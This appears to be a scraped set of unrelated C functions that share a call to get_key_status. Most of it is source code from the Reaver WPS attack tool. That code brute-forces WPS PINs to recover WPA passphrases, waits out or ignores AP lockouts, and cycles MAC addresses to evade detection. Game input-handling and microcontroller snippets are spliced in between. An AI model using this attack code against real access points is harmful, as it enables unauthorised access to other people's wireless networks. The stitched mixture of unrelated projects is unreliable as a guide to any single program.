/* * Increment the index into the p1 or p2 array as appropriate. * If we're still trying to brute force the first half, increment p1. * If we're working on the second half, increment p2. */ void advance_pin_count() { if(get_key_status() == KEY1_WIP) { set_p1_index(get_p1_index() + 1); } else if(get_key_status() == KEY2_WIP) { set_p2_index(get_p2_index() + 1); } }
/* Displays the status and rate of cracking */ void display_status(float pin_count, time_t start_time) { float percentage = 0; int attempts = 0, average = 0; time_t now = 0, diff = 0; struct tm *tm_p = NULL; char time_s[256] = { 0 }; if(get_key_status() == KEY1_WIP) { attempts = get_p1_index() + get_p2_index(); } /* * If we've found the first half of the key, then the entire key1 keyspace * has been exhausted/eliminated. Our output should reflect that. */ else if(get_key_status() == KEY2_WIP) { attempts = P1_SIZE + get_p2_index(); } else if(get_key_status() == KEY_DONE) { attempts = P1_SIZE + P2_SIZE; } percentage = (float) (((float) attempts / (P1_SIZE + P2_SIZE)) * 100); now = time(NULL); diff = now - start_time; tm_p = localtime(&now); if(tm_p) { strftime(time_s, sizeof(time_s), TIME_FORMAT, tm_p); } else { perror("localtime"); } if(pin_count > 0) { average = (int) (diff / pin_count); } else { average = 0; } cprintf(INFO, "[+] %.2f%% complete @ %s (%d seconds/pin)\n", percentage, time_s, average); return; }
int reaver_main(int argc, char **argv) { int ret_val = EXIT_FAILURE, r = 0; time_t start_time = 0, end_time = 0; struct wps_data *wps = NULL; globule_init(); init_default_settings(); fprintf(stderr, "\nReaver v%s WiFi Protected Setup Attack Tool\n", get_version()); fprintf(stderr, "Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <*****@*****.**>\n\n"); if(argc < 2) { ret_val = reaver_usage(argv[0]); goto end; } /* Process the command line arguments */ if(process_arguments(argc, argv) == EXIT_FAILURE) { ret_val = reaver_usage(argv[0]); goto end; } /* Double check reaver_usage */ if(!get_iface() || (memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) == 0)) { reaver_usage(argv[0]); goto end; } /* If no MAC address was provided, get it ourselves */ if(memcmp(get_mac(), NULL_MAC, MAC_ADDR_LEN) == 0) { if(!read_iface_mac()) { fprintf(stderr, "[-] Failed to retrieve a MAC address for interface '%s'!\n", get_iface()); goto end; } } /* Sanity checking on the message timeout value */ if(get_m57_timeout() > M57_MAX_TIMEOUT) { set_m57_timeout(M57_MAX_TIMEOUT); } else if(get_m57_timeout() <= 0) { set_m57_timeout(M57_DEFAULT_TIMEOUT); } /* Sanity checking on the receive timeout value */ if(get_rx_timeout() <= 0) { set_rx_timeout(DEFAULT_TIMEOUT); } /* Initialize signal handlers */ sigint_init(); sigalrm_init(); /* Mark the start time */ start_time = time(NULL); /* Do it. */ crack(); /* Mark the end time */ end_time = time(NULL); /* Check our key status */ if(get_key_status() == KEY_DONE) { wps = get_wps(); cprintf(VERBOSE, "[+] Pin cracked in %d seconds\n", (int) (end_time - start_time)); cprintf(CRITICAL, "[+] WPS PIN: '%s'\n", get_pin()); if(wps->key) cprintf(CRITICAL, "[+] WPA PSK: '%s'\n", wps->key); if(wps->essid) cprintf(CRITICAL, "[+] AP SSID: '%s'\n", wps->essid); /* Run user-supplied command */ if(get_exec_string()) { r = system(get_exec_string()); } ret_val = EXIT_SUCCESS; } else { cprintf(CRITICAL, "[-] Failed to recover WPA key\n"); } save_session(); end: globule_deinit(); return ret_val; }
/* Main loop to listen for packets on a wireless card in monitor mode. */ enum wps_result do_wps_exchange() { struct pcap_pkthdr header; const u_char *packet = NULL; enum wps_type packet_type = UNKNOWN, last_msg = UNKNOWN; enum wps_result ret_val = KEY_ACCEPTED; int premature_timeout = 0, terminated = 0, got_nack = 0; int id_response_sent = 0, tx_type = 0; int m2_sent = 0, m4_sent = 0, m6_sent = 0; /* Initialize settings for this WPS exchange */ set_last_wps_state(0); set_eap_id(0); /* Initiate an EAP session */ send_eapol_start(); /* * Loop until: * * o The pin has been cracked * o An EAP_FAIL packet is received * o We receive a NACK message * o We hit an unrecoverable receive timeout */ while ((get_key_status() != KEY_DONE) && !terminated && !got_nack && !premature_timeout) { tx_type = 0; if (packet_type > last_msg) { last_msg = packet_type; } packet = next_packet(&header); if (packet == NULL) { break; } packet_type = process_packet(packet, &header); memset((void *) packet, 0, header.len); switch (packet_type) { case IDENTITY_REQUEST: cprintf(VERBOSE, "[+] Received identity request\n"); tx_type = IDENTITY_RESPONSE; id_response_sent = 1; break; case M1: cprintf(VERBOSE, "[+] Received \033[1;35mM1\033[0m message\n"); if (id_response_sent && !m2_sent) { tx_type = SEND_M2; m2_sent = 1; } else if (get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M3: cprintf(VERBOSE, "[+] Received \033[1;35mM3\033[0m message\n"); if (m2_sent && !m4_sent) { if (globule->pixie_loop == 1) { tx_type = SEND_WSC_NACK; terminated = 1; } else if (globule->pixie_loop == 0) { tx_type = SEND_M4; m4_sent = 1; } //tx_type = SEND_M4; //m4_sent = 1; } else if (get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M5: cprintf(VERBOSE, "[+] Received \033[1;35mM5\033[0m message\n"); if (get_key_status() == KEY1_WIP) { set_key_status(KEY2_WIP); } if (m4_sent && !m6_sent) { tx_type = SEND_M6; m6_sent = 1; } else if (get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M7: cprintf(VERBOSE, "[+] Received \033[1;35mM7\033[0m message\n"); //bug fix made by flatr0ze if (!m6_sent) { tx_type = SEND_WSC_NACK; terminated = 1; } /* Fall through */ case DONE: if (get_key_status() == KEY2_WIP) { set_key_status(KEY_DONE); } tx_type = SEND_WSC_NACK; break; case NACK: cprintf(VERBOSE, "[+] Received WSC NACK (reason: 0x%04X)\n", get_nack_reason()); got_nack = 1; break; case TERMINATE: terminated = 1; break; default: if (packet_type != 0) { cprintf(VERBOSE, "[!] WARNING: Unexpected packet received (0x%.02X), terminating transaction\n", packet_type); terminated = 1; } break; } if (tx_type == IDENTITY_RESPONSE) { send_identity_response(); } else if (tx_type) { send_msg(tx_type); } /* * If get_oo_send_nack is 0, then when out of order packets come, we don't * NACK them. However, this also means that we wait infinitely for the expected * packet, since the timer is started by send_msg. Manually start the timer to * prevent infinite loops. */ else if (packet_type != 0) { start_timer(); } /* Check to see if our receive timeout has expired */ if (get_out_of_time()) { /* If we have not sent an identity response, try to initiate an EAP session again */ if (!id_response_sent) { /* Notify the user after EAPOL_START_MAX_TRIES eap start failures */ if (get_eapol_start_count() == EAPOL_START_MAX_TRIES) { cprintf(WARNING, "[!] WARNING: %d successive start failures\n", EAPOL_START_MAX_TRIES); set_eapol_start_count(0); premature_timeout = 1; } send_eapol_start(); } else { /* Treat all other time outs as unexpected errors */ premature_timeout = 1; } } } /* * There are four states that can signify a pin failure: * * o Got NACK instead of an M5 message (first half of pin wrong) * o Got NACK instead of an M5 message, when cracking second half (fake NACK) * o Got NACK instead of an M7 message (second half of pin wrong) * o Got receive timeout while waiting for an M5 message (first half of pin wrong) * o Got receive timeout while waiting for an M7 message (second half of pin wrong) */ if (got_nack) { /* * If a NACK message was received, then the current wps->state value will be * SEND_WSC_NACK, indicating that we need to reply with a NACK. So check the * previous state to see what state we were in when the NACK was received. */ /* Warning the user about change of reason code for the received NACK message. */ if (!get_ignore_nack_reason()) { if ((get_last_nack_reason() >= 0) && (get_nack_reason() != get_last_nack_reason())) { cprintf(WARNING, "[!] WARNING: The reason code for NACK has been changed. Potential FAKE NACK!\n"); } set_last_nack_reason(get_nack_reason()); } /* Check NACK reason code for */ if ((get_fake_nack_reason() >= 0) && (get_nack_reason() == get_fake_nack_reason()) && (get_timeout_is_nack())) { ret_val = FAKE_NACK; } else { if ((last_msg == M3) || (last_msg == M5)) { /* The AP is properly sending WSC_NACKs, so don't treat future timeouts as pin failures. */ set_timeout_is_nack(0); /* bug fix made by KokoSoft */ ret_val = ((last_msg == M3) && (get_key_status() == KEY2_WIP) && (get_timeout_is_nack())) ? FAKE_NACK : KEY_REJECTED; } else { ret_val = UNKNOWN_ERROR; } } } else if (premature_timeout) { /* * Some WPS implementations simply drop the connection on the floor instead of sending a NACK. * We need to be able to handle this, but at the same time using a timeout on the M5/M7 messages * can result in false negatives. Thus, treating M5/M7 receive timeouts as NACKs can be disabled. * Only treat the timeout as a NACK if this feature is enabled. */ if (get_timeout_is_nack() && //(last_msg == M3 || last_msg == M5)) ((last_msg == M3 && (get_key_status() == KEY1_WIP)) || last_msg == M5)) //bug fix made by flatr0ze { ret_val = KEY_REJECTED; } else { /* If we timed out at any other point in the session, then we need to try the pin again */ ret_val = RX_TIMEOUT; } } /* * If we got an EAP FAIL message without a preceeding NACK, then something went wrong. * This should be treated the same as a RX_TIMEOUT by the caller: try the pin again. */ else if (terminated) { ret_val = EAP_FAIL; } else if (get_key_status() != KEY_DONE) { ret_val = UNKNOWN_ERROR; } /* * Always completely terminate the WPS session, else some WPS state machines may * get stuck in their current state and won't accept new WPS registrar requests * until rebooted. * * Stop the receive timer that is started by the termination transmission. */ send_wsc_nack(); stop_timer(); if (get_eap_terminate() || ret_val == EAP_FAIL) { send_termination(); stop_timer(); } return ret_val; }
static boolean game_key(context *ctx, int *key) { struct game_context *game = (struct game_context *)ctx; struct config_info *conf = get_config(); struct world *mzx_world = ctx->world; struct board *cur_board = mzx_world->current_board; char keylbl[] = "KEY?"; int key_status = get_key_status(keycode_internal_wrt_numlock, *key); boolean exit_status = get_exit_status(); boolean confirm_exit = false; if(*key && !exit_status) { // Get the char for the KEY? labels. If there is no relevant unicode // keypress, we want to use the regular code instead. int key_unicode = get_key(keycode_unicode); int key_char = *key; if(key_unicode > 0 && key_unicode < 256) key_char = key_unicode; if(key_char) { if(key_char < 256) { // Send the KEY? label. // Values over 256 have no meaning here. keylbl[3] = key_char; send_robot_all_def(mzx_world, keylbl); } // In pre-port MZX versions key was a board counter if(mzx_world->version < VERSION_PORT) { char keych = toupper(key_char); // <2.60 it only supported 1-9 and A-Z // This is difficult to version check, so apply it to <2.62 if(mzx_world->version >= V262 || (keych >= 'A' && keych <= 'Z') || (keych >= '1' && keych <= '9')) { cur_board->last_key = keych; } } } switch(*key) { case IKEY_F3: { // Save game if(!mzx_world->dead && player_can_save(mzx_world)) { char save_game[MAX_PATH]; strcpy(save_game, curr_sav); if(!new_file(mzx_world, save_ext, ".sav", save_game, "Save game", 1)) { strcpy(curr_sav, save_game); save_world(mzx_world, curr_sav, true, MZX_VERSION); } } return true; } case IKEY_F4: { // ALT+F4 - do nothing. if(get_alt_status(keycode_internal)) break; // Restore saved game if(mzx_world->version < V282 || get_counter(mzx_world, "LOAD_MENU", 0)) { load_savegame_selection(game); } return true; } case IKEY_F5: case IKEY_INSERT: { // Change bomb type if(!mzx_world->dead) player_switch_bomb_type(mzx_world); return true; } // Toggle debug mode case IKEY_F6: { if(edit_world && mzx_world->editing) mzx_world->debug_mode = !(mzx_world->debug_mode); return true; } // Cheat case IKEY_F7: { if(game->allow_cheats || mzx_world->editing) player_cheat_give_all(mzx_world); return true; } // Cheat More case IKEY_F8: { if(game->allow_cheats || mzx_world->editing) player_cheat_zap(mzx_world); return true; } // Quick save case IKEY_F9: { if(!mzx_world->dead) { if(player_can_save(mzx_world)) save_world(mzx_world, curr_sav, true, MZX_VERSION); } return true; } // Quick load saved game case IKEY_F10: { if(mzx_world->version < V282 || get_counter(mzx_world, "LOAD_MENU", 0)) { struct stat file_info; if(!stat(curr_sav, &file_info)) load_savegame(game, curr_sav); } return true; } case IKEY_F11: { if(mzx_world->editing) { // Breakpoint editor if(get_alt_status(keycode_internal)) { if(debug_robot_config) debug_robot_config(mzx_world); } // Counter debugger else { if(debug_counters) debug_counters(ctx); } } return true; } case IKEY_RETURN: { send_robot_all_def(mzx_world, "KeyEnter"); // Ignore if this isn't a fresh press if(key_status != 1) return true; if(mzx_world->version < V260 || get_counter(mzx_world, "ENTER_MENU", 0)) game_menu(ctx); return true; } case IKEY_ESCAPE: { // Ignore if this isn't a fresh press // NOTE: disabled because it breaks the joystick action. //if(key_status != 1) //return true; // ESCAPE_MENU (2.90+) if(mzx_world->version < V290 || get_counter(mzx_world, "ESCAPE_MENU", 0)) confirm_exit = true; break; } } } // Quit if(exit_status || confirm_exit) { // Special behaviour in standalone- only escape exits // ask for confirmation. Exit events instead terminate MegaZeux. if(conf->standalone_mode && !confirm_exit) { core_full_exit(ctx); } else { if(!confirm(mzx_world, "Quit playing- Are you sure?")) destroy_context(ctx); } return true; } return false; }
/* Brute force all possible WPS pins for a given access point */ void crack() { unsigned char *bssid = NULL; char *pin = NULL; int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0; float pin_count = 0; time_t start_time = 0; enum wps_result result = 0; /* MAC CHANGER VARIABLES */ int mac_changer_counter = 0; char mac[MAC_ADDR_LEN] = { 0 }; unsigned char mac_string [] = "ZZ:ZZ:ZZ:ZZ:ZZ:ZZ"; unsigned char* new_mac = &mac_string[0]; char last_digit = '0'; if(!get_iface()) { return; } if(get_max_pin_attempts() == -1) { cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); return; } /* Initialize network interface */ set_handle(capture_init(get_iface())); if(get_handle() != NULL) { generate_pins(); /* Restore any previously saved session */ if(get_static_p1() == NULL) { restore_session(); } /* Convert BSSID to a string */ bssid = mac2str(get_bssid(), ':'); /* * We need to get some basic info from the AP, and also want to make sure the target AP * actually exists, so wait for a beacon packet */ cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid); read_ap_beacon(); process_auto_options(); /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */ if(get_max_pin_attempts() == -1) { cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); return; } /* This initial association is just to make sure we can successfully associate */ while(!reassociate()) { if(assoc_fail_count == MAX_ASSOC_FAILURES) { assoc_fail_count = 0; cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); } else { assoc_fail_count++; } } cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid()); /* Used to calculate pin attempt rates */ start_time = time(NULL); /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */ if(get_key_status() <= KEY1_WIP) { set_key_status(KEY1_WIP); } /* * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked. * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop. */ else if(get_key_status() == KEY_DONE) { set_key_status(KEY2_WIP); } //copy the current mac to the new_mac variable for mac changer if (get_mac_changer() == 1) { strncpy(new_mac, mac2str(get_mac(), ':'), 16); } /* Main cracking loop */ for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++) { //MAC Changer switch/case to define the last mac address digit if (get_mac_changer() == 1) { switch (mac_changer_counter) { case 0: last_digit = '0'; break; case 1: last_digit = '1'; break; case 2: last_digit = '2'; break; case 3: last_digit = '3'; break; case 4: last_digit = '4'; break; case 5: last_digit = '5'; break; case 6: last_digit = '6'; break; case 7: last_digit = '7'; break; case 8: last_digit = '8'; break; case 9: last_digit = '9'; break; case 10: last_digit = 'A'; break; case 11: last_digit = 'B'; break; case 12: last_digit = 'C'; break; case 13: last_digit = 'D'; break; case 14: last_digit = 'E'; break; case 15: last_digit = 'F'; mac_changer_counter = -1; break; } mac_changer_counter++; new_mac[16] = last_digit; //transform the string to a MAC and define the MAC str2mac((unsigned char *) new_mac, (unsigned char *) &mac); set_mac((unsigned char *) &mac); cprintf(WARNING, "[+] Using MAC %s \n", mac2str(get_mac(), ':')); } /* * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS * registrar requests. Using a delay here can help prevent the AP from locking us out. */ pcap_sleep(get_delay()); /* Users may specify a delay after x number of attempts */ if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count())) { cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay()); pcap_sleep(get_recurring_delay()); sleep_count = 0; } /* * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes). * Verify that the AP is not locked before attempting the next pin. */ while(get_ignore_locks() == 0 && is_wps_locked()) { cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay()); pcap_sleep(get_lock_delay()); } /* Initialize wps structure */ set_wps(initialize_wps_data()); if(!get_wps()) { cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n"); break; } /* Try the next pin in the list */ pin = build_next_pin(); if(!pin) { cprintf(CRITICAL, "[-] Failed to generate the next payload\n"); break; } else { cprintf(WARNING, "[+] Trying pin %s\n", pin); } /* * Reassociate with the AP before each WPS exchange. This is necessary as some APs will * severely limit our pin attempt rate if we do not. */ assoc_fail_count = 0; while(!reassociate()) { if(assoc_fail_count == MAX_ASSOC_FAILURES) { assoc_fail_count = 0; cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); } else { assoc_fail_count++; } } /* * Enter receive loop. This will block until a receive timeout occurs or a * WPS transaction has completed or failed. */ result = do_wps_exchange(); switch(result) { /* * If the last pin attempt was rejected, increment * the pin counter, clear the fail counter and move * on to the next pin. */ case KEY_REJECTED: fail_count = 0; pin_count++; advance_pin_count(); break; /* Got it!! */ case KEY_ACCEPTED: break; /* Unexpected timeout or EAP failure...try this pin again */ default: cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result); fail_count++; break; } /* If we've had an excessive number of message failures in a row, print a warning */ if(fail_count == WARN_FAILURE_COUNT) { cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count); fail_count = 0; pcap_sleep(get_fail_delay()); } /* Display status and save current session state every DISPLAY_PIN_COUNT loops */ if(loop_count == DISPLAY_PIN_COUNT) { save_session(); display_status(pin_count, start_time); loop_count = 0; } /* * The WPA key and other settings are stored in the globule->wps structure. If we've * recovered the WPS pin and parsed these settings, don't free this structure. It * will be freed by wpscrack_free() at the end of main(). */ if(get_key_status() != KEY_DONE) { wps_deinit(get_wps()); set_wps(NULL); } /* If we have cracked the pin, save a copy */ else { set_pin(pin); } free(pin); pin = NULL; /* If we've hit our max number of pin attempts, quit */ if((get_max_pin_attempts() > 0) && (pin_count == get_max_pin_attempts())) { cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts()); break; } } if(bssid) free(bssid); if(get_handle()) { pcap_close(get_handle()); set_handle(NULL); } } else { cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface()); } }
/****************************************************************************** * FunctionName : user_get_key_status * Description : a * Parameters : none * Returns : none *******************************************************************************/ BOOL user_get_key_status(void) { return get_key_status(single_key[0]); }
void wait_for_key_release(Uint32 index) { while(get_key_status(keycode_internal, index) >= 1) update_event_status_delay(); }
bool get_ctrl_status(enum keycode_type type) { return get_key_status(type, IKEY_LCTRL) || get_key_status(type, IKEY_RCTRL); }
bool get_shift_status(enum keycode_type type) { return get_key_status(type, IKEY_LSHIFT) || get_key_status(type, IKEY_RSHIFT); }
bool get_alt_status(enum keycode_type type) { return get_key_status(type, IKEY_LALT) || get_key_status(type, IKEY_RALT); }